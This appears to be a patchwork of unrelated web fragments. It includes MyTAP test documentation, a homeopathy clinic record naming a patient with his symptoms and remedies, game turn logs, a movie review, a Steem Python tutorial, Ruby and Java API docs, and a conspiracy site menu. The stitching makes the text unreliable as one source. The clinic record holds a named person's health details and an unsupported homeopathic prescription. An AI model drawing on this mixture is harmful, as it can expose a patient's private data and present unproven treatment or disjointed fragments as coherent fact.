– The output from your test. Usually it’s just returned by a call to the test function itself. Required.@is_ok
– Boolean indicating whether or not the test is expected to pass. Required.@name
– A brief name for your test, to make it easier to find failures in your test script. Optional.@want_description
– Expected test description to be output by the test. Optional. Use an empty string to test that no description is output.@want_diag
– Expected diagnostic message output during the execution of a test. Must always follow whatever is output by the call took()
. Optional. Use an empty string to test that no description is output.@match_diag
– Usematches()
to compare the diagnostics rather than@eq()
. Useful for those situations where you're not sure what will be in the output, but you can match it with a regular expression.
Now, on with the detailed documentation. At its simplest, you just pass in the output of your test function (and it must be one and only one test function’s output, or you'll screw up the count, so don’t do that!) and a boolean value indicating whether or not you expect the test to have passed. That looks something like the second example above.
All other arguments are optional, but I recommend that you always include a
short test name to make it easier to track down failures in your test script.
check_test()
uses this name to construct descriptions of all of the tests it
runs. For example, without a short name, the above example will yield output
like so:
not ok 14 - Test should pass
Yeah, but which test? So give it a very succinct name and you'll know what
test. If you have a lot of these, it won’t be much help. So give each call
to check_test()
a name:
SELECT check_test(
lc_eq('This', 'THIS', 'eq'),
true,
'Simple lc_eq test',
);
Then you'll get output more like this:
not ok 14 - Simple lc_test should pass
Which will make it much easier to find the failing test in your test script.
The optional fourth argument is the description you expect to be output. This is especially important if your test function generates a description when none is passed to it. You want to make sure that your function generates the test description you think it should! This will cause a second test to be run on your test function. So for something like this:
SELECT check_test(
lc_eq( ''this'', ''THIS'' ),
true,
'lc_eq() test',
'this is THIS'
);
The output then would look something like this, assuming that the lc_eq()
function generated the proper description (the above example does not):
ok 42 - lc_eq() test should pass
ok 43 - lc_eq() test should have the proper description
See how there are two tests run for a single call to check_test()
? Be sure
to adjust your plan accordingly. Also note how the test name was used in the
descriptions for both tests.
If the test had failed, it would output a nice diagnostics. Internally it just
uses eq()
to compare the strings:
# Failed test 43: "lc_eq() test should have the proper description"
# have: 'this is this'
# want: 'this is THIS'
The fifth argument, @want_diag
, which is also optional, compares the
diagnostics generated during the test to an expected string. Such diagnostics
must follow whatever is output by the call to ok()
in your test. Your
test function should not call diag()
until after it calls ok()
or things
will get truly funky.
Assuming you've followed that rule in your lc_eq()
test function, see what
happens when a lc_eq()
fails. Write your test to test the diagnostics like
so:
SELECT * FROM check_test(
lc_eq( ''this'', ''THat'' ),
false,
'lc_eq() failing test',
'this is THat',
' Want: this\n Have: THat
);
This of course triggers a third test to run. The output will look like so:
ok 44 - lc_eq() failing test should fail
ok 45 - lc_eq() failing test should have the proper description
ok 46 - lc_eq() failing test should have the proper diagnostics
And of course, it the diagnostic test fails, it will output diagnostics just like a description failure would, something like this:
# Failed test 46: "lc_eq() failing test should have the proper diagnostics"
# have: Have: this
# Want: that
# want: Have: this
# Want: THat
If you pass in the optional sixth argument, @match_diag
, the @want_diag
argument will be compared to the actual diagnostic output using matches()
instead of eq()
. This allows you to use a regular expression in the
@want_diag
argument to match the output, for those situations where some
part of the output might vary, such as time-based diagnostics.
I realize that all of this can be a bit confusing, given the various haves and wants, but it gets the job done. Of course, if your diagnostics use something other than indented “have” and “want”, such failures will be easier to read. But either way, do test your diagnostics!
To Do
- Port lot of other assertion functions from pgTAP.
Public Repository
The source code for MyTAP is available on GitHub. Please feel free to fork and contribute!
Author
Credits
- Michael Schwern and chromatic for Test::More.
- Adrian Howard for Test::Exception.
Copyright and License
Copyright © 2010 David E. Wheeler. Some rights reserved.
Permission to use, copy, modify, and distribute this software and its documentation for any purpose, without fee, and without a written agreement is hereby granted, provided that the above copyright notice and this paragraph and the following two paragraphs appear in all copies.
IN NO EVENT SHALL KINETICODE BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF KINETICODE HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
KINETICODE SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN “AS IS” BASIS, AND KINETICODE HAS NO OBLIGATIONS TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.


| Name: MR. ASHOK SHARMA | Reg No: 2-12SMHC17 |
|---|---|
| Age / Sex: 26/M | Contact No:<PHONE_NUMBER> |
| Marital Status:ML- 5 YEARS | Date:7/12/17 |
| Occupation: FIELD WORK SECURITY AGENCY | Dr. PJFP |
Address: NATIVE OF MP\ BLORE SINCE 2007 |
DIAGNOSIS- |
ITCHING ON THE UPPER PART OF THE BODY ? URTICARIAL RASH SINCE COMING TO BLORE.
< REMOVING CLOTHES, SITTING ON THE BED, BRINJAL.
COVERING, BATH, COLD WATER.
LIKES COLD WEATHER MORE.
SMOKES COFFEE, TEA, 30 / DAY EACH.
NEVER HAD FEVER. ONLY BODY PAIN N COUGH OCASSIONALLY.
IRREGULAR MEAL TIMINGS SAYS NOT HUNGRY ….
DOESN’T LIKE BREAD. VEGETARIAN BUT OUTISDE OF FRIENDS EATS NON VEG ALSO. BUT NON VEG LESS MONTHLY TWICE.
RX:
NAT MUR 200 – 1 DRAM PILLS 4-4-4-4. 4 DAYS
APIS +LEDUM PAL 200 – 4-4-4-4 SMALL DISC BOTTLE.
RUB 15 – 1 -0-1 B/FOOD.


Spent half the morning with only one monitor (bad cable). Felt like working with one eye poked out.
10/15/2009, 10:19:32 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
Spent half the morning with only one monitor (bad cable). Felt like working with one eye poked out.
10/15/2009, 10:19:32 AM
Favs: 0
Retweets: 0
link


Wetrock [ad7x], city, in Plain of Tears [ap31], in Mandoria
Last updated Turn #142
Wetrock [ad7x], city, in Plain of Tears [ap31], in Mandoria
------------------------------------------------------------------------
5: General Kraken [k3k], Imperial Empire, duke, priest of the Church of
5: Halon [157], with two winged horses, 44 nazgul, arrived from Plain of
5: Tears [ap31], accompanied by:
5: Phantom III [d6x], Imperial Empire, priest of the Church of
5: Dol [153], with 16 nazgul
5: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
5: with five angels
5: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
5: with five angels, 54 hvy. xbowmen, 21 nazgul
5: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
5: Dol [153], with ten workers, 50 hvy. xbowmen, 18 nazgul
5: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
5: with five angels, 50 hvy. xbowmen
5: Odin [y5z], Imperial Empire, with 23 peasants, three soldiers,
5: 44 hvy. xbowmen
5: Thorg [j8u], Imperial Empire, with one warmount
5: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
5: of Halon [157], with 27 soldiers, ten angels, 16 skirmishers,
5: 46 hvy. xbowmen
5: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
5: with 17 nazgul
5: Firefly [f3f], Imperial Empire, priest of the Church of
5: Halon [157], with 50 hvy. xbowmen
5: Sunwalker [a8x], Imperial Empire, duke, Bishop of the Church of
5: Halon [157], with five angels, 52 nazgul
5: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
5: with 52 hvy. xbowmen, five nazgul
5: Alexei Galantor [j7l], Imperial Empire, duke, priest of the Church
5: of Halon [157], with 35 peasants, 84 nazgul
5: City boy [c5x], Imperial Empire
5: Sir Peter [u9p], Imperial Empire, with 30 peasants, 20 workers,
5: ten hvy. xbowmen
5: George [p7f], Imperial Empire, duke, priest of the Church of
5: Dol [153], with 11 nazgul
5: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
5: with one skirmisher, 50 nazgul
5: Johny [w2d], Imperial Empire, priest of the Church of Halon [157],
5: with 41 nazgul
5: Aurora [g5z], Imperial Empire
5: Stefano [t8e], Imperial Empire, Bishop of the Church of
5: Halon [157], with 30 peasants, five angels, 50 nazgul
5: Sir Charles [j5r], Imperial Empire, priest of the Church of
5: Halon [157], with 16 peasants, 50 nazgul
5: Everblack [n3r], Imperial Empire, prisoner
5: Majikthise [n4g], Imperial Empire
5: swift [e6w], Mandor Confederacy, prisoner
5: Merchant [jc9q], Imperial Empire, prisoner
5: Paula Toler [o9u], Mandor Confederacy, prisoner
6: General Kraken [k3k], Imperial Empire, duke, priest of the Church of
6: Halon [157], with two winged horses, 44 nazgul, exited Wetrock [ad7x],
6: accompanied by:
6: Phantom III [d6x], Imperial Empire, priest of the Church of
6: Dol [153], with 16 nazgul
6: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
6: with five angels
6: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
6: with five angels, 54 hvy. xbowmen, 21 nazgul
6: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
6: Dol [153], with ten workers, 50 hvy. xbowmen, 18 nazgul
6: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
6: with five angels, 50 hvy. xbowmen
6: Odin [y5z], Imperial Empire, with 23 peasants, three soldiers,
6: 44 hvy. xbowmen
6: Thorg [j8u], Imperial Empire, with one warmount
6: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
6: of Halon [157], with 28 soldiers, ten angels, 15 skirmishers,
6: 46 hvy. xbowmen
6: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
6: with 17 nazgul
6: Firefly [f3f], Imperial Empire, priest of the Church of
6: Halon [157], with 50 hvy. xbowmen
6: Sunwalker [a8x], Imperial Empire, duke, Bishop of the Church of
6: Halon [157], with five angels, 52 nazgul
6: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
6: with 52 hvy. xbowmen, five nazgul
6: Alexei Galantor [j7l], Imperial Empire, duke, priest of the Church
6: of Halon [157], with 35 peasants, 84 nazgul
6: City boy [c5x], Imperial Empire
6: Sir Peter [u9p], Imperial Empire, with 30 peasants, 20 workers,
6: ten hvy. xbowmen
6: George [p7f], Imperial Empire, duke, priest of the Church of
6: Dol [153], with 11 nazgul
6: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
6: with one skirmisher, 50 nazgul
6: Johny [w2d], Imperial Empire, priest of the Church of Halon [157],
6: with 41 nazgul
6: Aurora [g5z], Imperial Empire
6: Stefano [t8e], Imperial Empire, Bishop of the Church of
6: Halon [157], with 30 peasants, five angels, 50 nazgul
6: Sir Charles [j5r], Imperial Empire, priest of the Church of
6: Halon [157], with 16 peasants, 50 nazgul
6: Everblack [n3r], Imperial Empire, prisoner
6: Majikthise [n4g], Imperial Empire
6: swift [e6w], Mandor Confederacy, prisoner
6: Merchant [jc9q], Imperial Empire, prisoner
6: Paula Toler [o9u], Mandor Confederacy, prisoner
Routes leaving Wetrock:
Out, plain, to Plain of Tears [ap31], 1 day
Cities rumored to be nearby:
Mandor City [aa0b], in Great Forest [aq26]
Darkwind [ad6o], in Great Forest [ao27]
Cedon [ad7v], in Plain of Tears [ap30]
Market report (tax of 25%):
trade who price qty wt/ea item
----- --- ----- --- ----- ----
buy ad7x 61 12 1 nazgul tail [319]
buy ad7x 21 8 2 gorgon livers [332]
buy ad7x 8 15 1 woven baskets [94]
buy ad7x 7 15 2 orc scalp [331]
sell ad7x 48 5 1,000 oxen [76]
sell ad7x 50 2 300 riding horses [52]
sell ad7x 1,075 1 5 old book [eo4b]
Inner locations:
Dark Thunder Order [p06], tower, defense 20
Rages Place [t59], tower, defense 20
The Convicts Hideaway [y00], tower, defense 20
Greenpeace HQ [w58], tower, defense 20
Trent's School O' Nails [v75], tower, defense 20
Shop O' TOOLs [m88], Trading Guild, defense 20
little inn [q50], inn, 13% damaged


WWW Access Statistics for 2000
December 2000
November 2000
October 2000
September 2000
August 2000
July 2000
June 2000
May 2000
April 2000
March 2000
February 2000
January 2000
Close navigation window


| Created: | 1/27/2021 3:51:40 PM |
| Modified: | 1/27/2021 3:51:40 PM |
| Project: | |
| Advanced: |
| Attribute |
|
Public serial id |
|
Details:
|
|
Public integer draw_id |
|
Details:
|
|
Public varchar(255) number |
|
Details:
|
|
Public integer transaction_request_form_id |
|
Details:
|
|
Public varchar(255) created_by |
|
Details:
|
|
Public varchar(255) updated_by |
|
Details:
|
|
Public timestamp with time zone(0) created_at |
|
Details:
|
|
Public timestamp with time zone(0) updated_at |
|
Details:
|
|
Public varchar(10) journal_entry_number |
|
Details:
|
| Operation | ||
|
Public transaction_requests_pkey( id: serial, |
||
|
Details:
<<PK>>
|
| Tag | Value |
| Owner | public |
|
Details:
|
| Property | Value |
| isFinalSpecialization: | 0 |


Results
from MBRA #3 in Helena;
MEN'S A
Jason Mohr
TeJay
VanGarderen
Scott
Herzig
Tom
Robertson
Shane Mundt
MEN'S B
Rick Finley
John Lackey
Dale
Bickell
MASTERS 35+
Craig
Pozega
MASTERS 45+
Steve
Muller
John
Coulthard
Byron
Deford
WOMEN B
Heather
McKain
Sarah Ray
Thanks for
racing
Craig
Pozega


{% csrf_token %}
Student ID Hash - Assumed to be unique per person. Will overwrite old info
*
Is Student?
*
Yes
No
Is Engineering?
*
Yes
No
Is Undergrad?
*
Yes
No
Is Registered?
*
Yes
No
Is PEY?
*
Yes
No
Year of study?
*
1
2
3
4
Attendance?
*
Full-time
Part-time
Campus?
*
UTSG
UTM
UTSC
Discipline
*
EngSci
Elec
Comp
Mech
Chem
Indy
MSE
Min
Trackone
Submit


'Primary Colors'
A movie review by Walter Frith
Member of the 'Internet Movie Critic's Association' http://www.geocities.com/Hollywood/Studio/5713/index.html
How many people remember when Bill Clinton, soon after being elected in 1992, appeared in the spring of 1993 mingling with a group of working folks, complete with a hard-hat, tool belt and work boots. Clinton took it upon himself, after the meeting, to discipline an aide using profanity after the aide supposedly stepped out of line during the address. This was evident as the President's microphone was still on and the media had a field day. In fairness to Clinton, every politician has two faces, one for the cameras, and one for the private confrontations with staff, family members and advisers. What's the point of all this? Simple, 'Primary Colors' gives us an insight into the REAL people running for office.
In 1995's 'The American President', Michael Douglas portrayed a stable and popular President who was seen spending time with his daughter over her school work, playing pool in private with his chief of staff and courting a young woman with all the style, personality and conflict of regular people. Although 'Primary Colors' takes a deeper and more iconoclastic look at politics on a much different scale, it has chronological scenes of strategic planning necessary to win a political campaign and it manages to entertain and inform while being precariously off beat.
The major players are John Travolta, simulating brilliantly, a very Clinton-like Presidential candidate, complete with the right hair, weight and upbeat, pleasant southern accent. Given the name Jack Stanton by screenwriter Elaine May, 'Primary Colors' is based on the novel by Anonymous, now revealed to be former Newsweek writer Joe Klein and Stanton's mannerism is that of a man who cares about the people, even in private as his campaign candidly admits that their political tricks are a defensive mechanism to prevent the status quo from stealing the election. One scene has Stanton sitting alone in a doughnut shop talking to a doughnut baker and night server, an employee who works long hours for little money. Stanton realizes that these are the real people, the majority avoiding the trappings of special interest. It's a very memorable scene.
At his side is Stanton's wife and aspiring first lady, portrayed impressively by Emma Thompson who loses her English accent completely to play an American. Stanton is joined in his quest for the White House by Henry Burton (Adrian Lester), who is the grandson of a civil rights leader and the story is told largely from his point of view. Billy Bob Thornton ('Sling Blade') is an adviser to Stanton who never lets his true redneck colors interfere with the strategy of winning the people over. Rounding out the perennial cast of memorable players is Kathy Bates as a political spin doctor, brought in to counter the dirty tricks of Stanton's opponents. Her contribution to the film is of the highest calibre and she is already a candidate for a Supporting Actress Oscar next year.
'Primary Colors' asks us to believe nothing,. Using very adult language and situations, it only intends to expose the inner workings of a presidential campaign as its running time of 2 hours and 23 minutes is a swift one as director Mike Nichols re-invents the characters situations many times to seem like their fresh when they are really relevant to the previous scenes of vigour, reality and determination to conquer the only cherished object of politics.....power. And while the film lacks a certain amount of depth, it makes up for it by itemizing the true nature of what politicians are, fallible human beings like the rest of us.
OUT OF 5 > * * * *
Visit FILM FOLLOW-UP by Walter Frith http://home.netinc.ca/~wfrith/movies.htm
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


I am an active Python user doing scientific computing, including visualization and data mining.
I have skills inside Python language to deal with data, visualizations and classification algorithms as supervised machine learning.
Numpy, Pandas, Seaborn, Matplotlib, NetworkX & Scipy
Scikit-Learn, Bokeh & Altair
Keras, TensorFlow & TensorBoard
Software engineering & web development
Experienced open source developer, with a specialization in scientific computing, including visualization, data mining and machine learning.
Experience with a variety of tools and languages, including bash, csh, LATEX, HTML, Javascript,D3js, Git, various database query languages, web templating engines such as Jinja, etc.
C/C++, R & Julia
Git, GitHub & Markdown
Jekyll, Ruby on Rails, Gem & YAML
JSON, CSV, XML & SQL
HTML/CSS & Javascript


Overriding Layouts¶
Each CRUDlex page extends from a certain layout with the default<EMAIL_ADDRESS>In most cases you don’t want to use this standard layout coming with CRUDlex. This chapter shows you how to define your own layout templates on various levels.
First of all, you need to place the Twig-templates in a folder known by the Twig service provider. Assuming you have your templates in the folder __DIR__.’/../views’, you initialize the Twig service provider like this:
$app->register(new Silex\Provider\TwigServiceProvider(), array(
'twig.path' => _ _DIR_ _.'/../views'
));
A good starting point is the layout template coming with CRUDlex: src/views/layout.twig
CRUDlex resolves the layout to use in an hierarchy. More specific layouts override the general ones. The following subchapters are ordered in this hierarchy, from general to specific.
Global¶
If you want to override the general layout of all CRUDlex pages, you set this property of your Silex Application instance:
$app['crud.layout'] = 'myLayout.twig';
Single Actions¶
You can override the layout of single actions:
- create
- list
- show
- edit
Just prepend a dot and the desired action when defining the layout for it, for example the action “show”:
$app['crud.layout.show'] = 'myShowLayout.twig';
Single Entities¶
To override the layout of a single entity, you prepend a dot and the desired entity name, for example for the book entity:
$app['crud.layout.book'] = 'myBookLayout.twig';
Single Actions of an Entity¶
The most specific layout you can set is for a single action of a specific entity. The prefix is a dot, the action another dot and the entity. To override the create action of the book entity, you would define your layout like this:
$app['crud.layout.create.book'] = 'myCreateBookLayout.twig';
Your own Layout from Scratch¶
If you want to start from scratch, it is recommended to use the layout coming with CRUDlex as a starting point: “vendor/philiplb/crudlex/src/views/layout.twig”
This one shows a menu with all defined entities linking to their list view.
First, you have to define a block called “content”. This is where CRUDlex renders itself into:
{% block content %}{% endblock %}
In the head-section, you should include the template<EMAIL_ADDRESS>{% include<EMAIL_ADDRESS>%}
This one includes all needed CSS files like Bootstrap 3 and the CSS of the datetime picker. Have a look at its content if you already include Bootstrap.
At the bottom of the page before the closing body tag, you include the template<EMAIL_ADDRESS>{% include<EMAIL_ADDRESS>%}
It includes the JavaScript of:
- jQuery
- Bootstrap
- Moment
- Datetimepicker
Plus it initializes the datepickers, the datetimepickers and tooltips.
It’s also recommended to include flashes in your own layout like this:
{% if app.session.flashBag is defined %}
{% set flashTypeAvailable = [ 'success', 'danger'] %}
{% for flashType in flashTypeAvailable %}
{% for flash in app.session.flashBag.get(flashType) %}
<div class="alert alert-{{ flashType }}" >
<button class="close" data-dismiss="alert">×</button>
{{ flash }}
</div>
{% endfor %}
{% endfor %}
{% endif %}
And some CSS classes to implement:
.btn-crudlex {
margin: 5px 5px 5px 5px;
}
.tooltip-crudlex {
cursor: pointer;
}


IlluminatiHunter42513
Home
About Us
Story
Contact Us
Recreation of Illuminati Meeting
Videos
Videos About the Illuminati
Apple is Illuminati
Illuminati Exposed
Dis iz teh good documentry
Illuminati Music Vids About Money
Pokemon GO Illuminai????!!!!!1111
FACEBOOK CONTROOOLED BY TEH ILLUMINATIS?>??????/.?/?/asdf/DS/Fds/FVdfsc/GH.
Sub Menu


Module: RSpec::Core::Metadata
- Defined in:
- lib/rspec/core/metadata.rb
Overview
Each ExampleGroup class and Example instance owns an instance of Metadata, which is Hash extended to support lazy evaluation of values associated with keys that may or may not be used by any example or group.
In addition to metadata that is used internally, this also stores user-supplied metadata, e.g.
describe Something, :type => :ui do
it "does something", :slow => true do
# ...
end
end
:type => :ui
is stored in the Metadata owned by the example group, and
:slow => true
is stored in the Metadata owned by the example. These can
then be used to select which examples are run using the --tag
option on
the command line, or several methods on Configuration
used to filter a
run (e.g. filter_run_including
, filter_run_excluding
, etc).
Constant Summary
Class Method Summary (collapse)
-
+ (String) relative_path(line)
private
Relative path to line.
Class Method Details
+ (String) relative_path(line)
This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.
Returns relative path to line
32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
# File 'lib/rspec/core/metadata.rb', line 32 def self.relative_path(line) # Matches strings either at the beginning of the input or prefixed with a whitespace, # containing the current path, either postfixed with the separator, or at the end of the string. # Match groups are the character before and the character after the string if any. # # http://rubular.com/r/fT0gmX6VJX # http://rubular.com/r/duOrD4i3wb # http://rubular.com/r/sbAMHFrOx1 # regex = /(\A|\s)#{File.('.')}(#{File::SEPARATOR}|\s|\Z)/ line = line.sub(regex, "\\1.\\2") line = line.sub(/\A([^:]+:\d+)$/, '\\1') return nil if line == '-e:1' line rescue SecurityError nil end |


class Sass::SCSS::StaticParser
A parser for a static SCSS tree. Parses with SCSS extensions, like nested rules and parent selectors, but without dynamic SassScript. This is useful for e.g. {#parse_selector parsing selectors} after resolving the interpolation.
Public Instance Methods
parse_selector()
click to toggle source
Parses the text as a selector.
@param filename [String, nil] The file in which the selector appears,
or nil if there is no such file. Used for error reporting.
@return [Selector::CommaSequence] The parsed selector @raise [Sass::SyntaxError] if there’s a syntax error in the selector
# File lib/sass/scss/static_parser.rb, line 18 def parse_selector init_scanner! seq = expr!(:selector_comma_sequence) expected("selector") unless @scanner.eos? seq.line = @line seq.filename = @filename seq end
parse_static_at_root_query()
click to toggle source
Parses a static at-root query.
@return [(Symbol, Array<String>)] The type of the query
(`:with` or `:without`) and the values that are being filtered.
@raise [Sass::SyntaxError] if there’s a syntax error in the query,
or if it doesn't take up the entire input string.
# File lib/sass/scss/static_parser.rb, line 33 def parse_static_at_root_query init_scanner! tok!(/\(/); ss type = tok!(/\b(without|with)\b/).to_sym; ss tok!(/:/); ss directives = expr!(:at_root_directive_list); ss tok!(/\)/) expected("@at-root query list") unless @scanner.eos? return type, directives end
Private Instance Methods
interp_ident(ident = IDENT)
click to toggle source
# File lib/sass/scss/static_parser.rb, line 59 def interp_ident(ident = IDENT); (s = tok(ident)) && [s]; end
interp_string()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 57 def interp_string; (s = tok(STRING)) && [s]; end
interp_uri()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 58 def interp_uri; (s = tok(URI)) && [s]; end
interpolation()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 55 def interpolation; nil; end
moz_document_function()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 46 def moz_document_function val = tok(URI) || tok(URL_PREFIX) || tok(DOMAIN) || function(!:allow_var) return unless val ss [val] end
script_value()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 54 def script_value; nil; end
special_directive(name, start_pos)
click to toggle source
Calls superclass method
Sass::SCSS::Parser#special_directive
# File lib/sass/scss/static_parser.rb, line 62 def special_directive(name, start_pos) return unless %w[media import charset -moz-document].include?(name) super end
use_css_import?()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 60 def use_css_import?; true; end
var_expr()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 56 def var_expr; nil; end
variable()
click to toggle source
# File lib/sass/scss/static_parser.rb, line 53 def variable; nil; end


You are not using IE, responsive design should work properly.
You are using IE8 or below, web page should stay at desktop layout.
You are using IE9 or newer, responsive design should work properly.
Bootstrap starter template
css generated by command :
$> onesize-css -pf=BODY#onesize-demo.onsize-demo -w=1200 -o=generated-ie8-1200.css bootstrap-3.2.min.css style.css
BANNER 1
BANNER 2
BANNER 3
BANNER 4
BUTTON 1
BUTTON 2
BUTTON 3
BUTTON 4
BUTTON 5
BUTTON 6
DESKTOP 1
DESKTOP 2
MOBILE 3
MOBILE 4
ALLSIZE 5
ALLSIZE 6


List of publication can also be accessed at DBLP.
Some statistics about my publications can be found at Google Scholar.


Albert Hahn, your future programmer!
About Me
Projects
Blog
Resume
Contact Info
My Blog Posts!
Week 1: What is Version Control, Git, and GitHub?
Week 3: What is the difference between margin, border, and padding?
Week 4: Arrays and Hashes!
Week 5: Enumerable Methods!
Week 6: Have some class!
Week 7: JavaScript Objects Compared to Ruby Hashes!
Week 8: What is Rails?
Week 9: My Experience of Building a Personal Website


The Milestone form displays details such as Name, Type, and more. As a SD user, this information will only be for reference and not editable.


Steem Developer Portal
PY: Get Follower And Following List
Tutorial pulls a list of the followers or authors being followed from the blockchain then displays the result.
Full, runnable src of Get Follower And Following List can be downloaded as part of the PY tutorials repository.
This tutorial will explain and show you how to access the Steem blockchain using the steem-python library to fetch list of authors being followed or authors that a specified user is following.
Intro
We are using the get_followers
and get_following
functions that are built into the official library steem-python
. These functions allow us to query the Steem blockchain in order to retrieve either a list of authors that are being followed or a list of authors that are currently following a specified user. There are 4 parameters required to execute these functions:
- account - The specific user for which the follower(ing) list will be retrieved
- start follower(ing) - The starting letter(s) or name for the search query. This value can be set as an empty string in order to include all authors starting from “a”
- follow type - This value is set to
blog
and includes all users following or being followed by theuser
. This is currently the only valid parameter value for this function to execute correctly. - limit - The maximum number of lines that can be returned by the query
Steps
- App setup - Library install and import
- Input variables - Collecting the required inputs via the UI
- Get followers/following Get the followers or users being followed
- Print output - Print results in output
1. App setup
In this tutorial we use 2 packages, pick
- helps us to select the query type interactively. steem
- steem-python library, interaction with Blockchain.
First we import both libraries and initialize Steem class
from pick import pick
from steem import Steem
s = Steem()
2. Input variables
We assign two of the variables via a simple input from the UI.
#capture username
username = input("Username: ")
#capture list limit
limit = input("Max number of followers(ing) to display: ")
Next we make a list of the two list options available to the user, following
or followers
and setup pick
.
#list type
title = 'Please choose the type of list: '
options = ['Follower', 'Following']
#get index and selected list name
option, index = pick(options, title)
print("List of " + option)
This will show the two options as a list to select in terminal/command prompt. From there we can determine which function to execute. We also display the choice on the UI for clarity.
3. Get followers/following
Now that we know which function we will be using, we can form the query to send to the blockchain. The selection is done with a simple if
statement.
if option=="Follower" :
follow = s.get_followers(username, '', 'blog', limit)
# for follower in follow:
# lists.append(follower["follower"])
# print(*lists, sep='\n')
else:
follow = s.get_following(username, '', 'blog', limit)
# for following in follow:
# lists.append(following["following"])
# print(*lists, sep='\n')
The output is displayed using the same if
statement and will be discussed in the next step.
4. Print output
Next, we will print the result.
if option=="Follower" :
# follow = s.get_followers(username, '', 'blog', limit)
for follower in follow:
lists.append(follower["follower"])
print(*lists, sep='\n')
else:
# follow = s.get_following(username, '', 'blog', limit)
for following in follow:
lists.append(following["following"])
print(*lists, sep='\n')
The query returns an array of objects. We use the for
loop to build a list of only the followers(ing) from that array and then display the list on the UI with line separators. This creates an easy to read list of authors.
We also do a check for when the list is empty to display the proper message.
#check if follower(ing) list is empty
if len(lists) == 0:
print("No "+option+" information available")
This is a fairly simple example of how to use these functions but we encourage you to play around with the parameters to gain further understanding of possible results.
To Run the tutorial
- review dev requirements
- clone this repo
cd tutorials/19_get_follower_and_following_list
pip install -r requirements.txt
python index.py
- After a few moments, you should see output in terminal/command prompt screen.


A breakdown of the questions you voted on will appear here.
Get closer to the this season by using Pulse while you watch the LIVE matches. Pulse asks you a range of questions relevant to the LIVE action as it unfolds. Your votes will be featured in the telecast in real-time and debated by the commentators, players and stars. If you've got a great question of your own, we'd love to hear it.
MATCHES
Matches
Recap
Pledge your allegiance and flaunt your support
Match-by-match
head-to-head
Back to top


My Browser is:Chrome 16
My Browser Version is:16
My BBLog Addon Version is:25.01.2012
TDM and TDM winner ribbons should exchange places, and TDM winner ribbon should be the one counted for medal progress.
P.S.Thx for plugin it's awesome
Topicstarter
Guest
and possible bug, for medal progress, if you got only 1 ribbon, it still shows like 50 or 30 ribbons left in progress. Checked only for few medals - Squad Rush, Melee, Assauld Rifles and M-Com Attacker, but suppose it's the same for all other medals.
BrainFooLong
Administrator
Thanks for bug report. I will fix it in the next update.


public abstract class FXForwardCurve extends Serializer implements Curve
NULL_SER_STRING, VERSION
| Constructor and Description |
|---|
FXForwardCurve() |
| Modifier and Type | Method and Description |
|---|---|
abstract double[] |
bootstrapBasis(ValuationParams valParam,
DiscountCurve dcNum,
DiscountCurve dcDenom,
boolean bBasisOnDenom)
Bootstrap the basis to the discount curve inputs
|
abstract DiscountCurve |
bootstrapBasisDC(ValuationParams valParam,
DiscountCurve dcNum,
DiscountCurve dcDenom,
boolean bBasisOnDenom)
Bootstrap the discount curve from the discount curve inputs
|
abstract CurrencyPair |
currencyPair()
Return the CurrencyPair
|
abstract double |
fxSpot()
Return the FX Spot
|
abstract double[] |
impliedNodeRates(ValuationParams valParam,
DiscountCurve dcNum,
DiscountCurve dcDenom,
boolean bBasisOnDenom)
Calculate the rates implied by the discount curve inputs
|
abstract double |
rate(ValuationParams valParam,
DiscountCurve dcNum,
DiscountCurve dcDenom,
double dblDate,
boolean bBasisOnDenom)
Calculate the rate implied by the discount curve inputs to a specified date
|
abstract JulianDate |
spotDate()
Return the Spot Date
|
abstract double[] |
zeroBasis(ValuationParams valParam,
DiscountCurve dcNum,
DiscountCurve dcDenom,
boolean bBasisOnDenom)
Calculate the set of Zero basis given the input discount curves
|
deserialize, getCollectionKeyValueDelimiter, getCollectionMultiLevelKeyDelimiter, getCollectionRecordDelimiter, getFieldDelimiter, getObjectTrailer, serialize
equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait
calibComp, currency, epoch, manifestMeasure, name, setCCIS
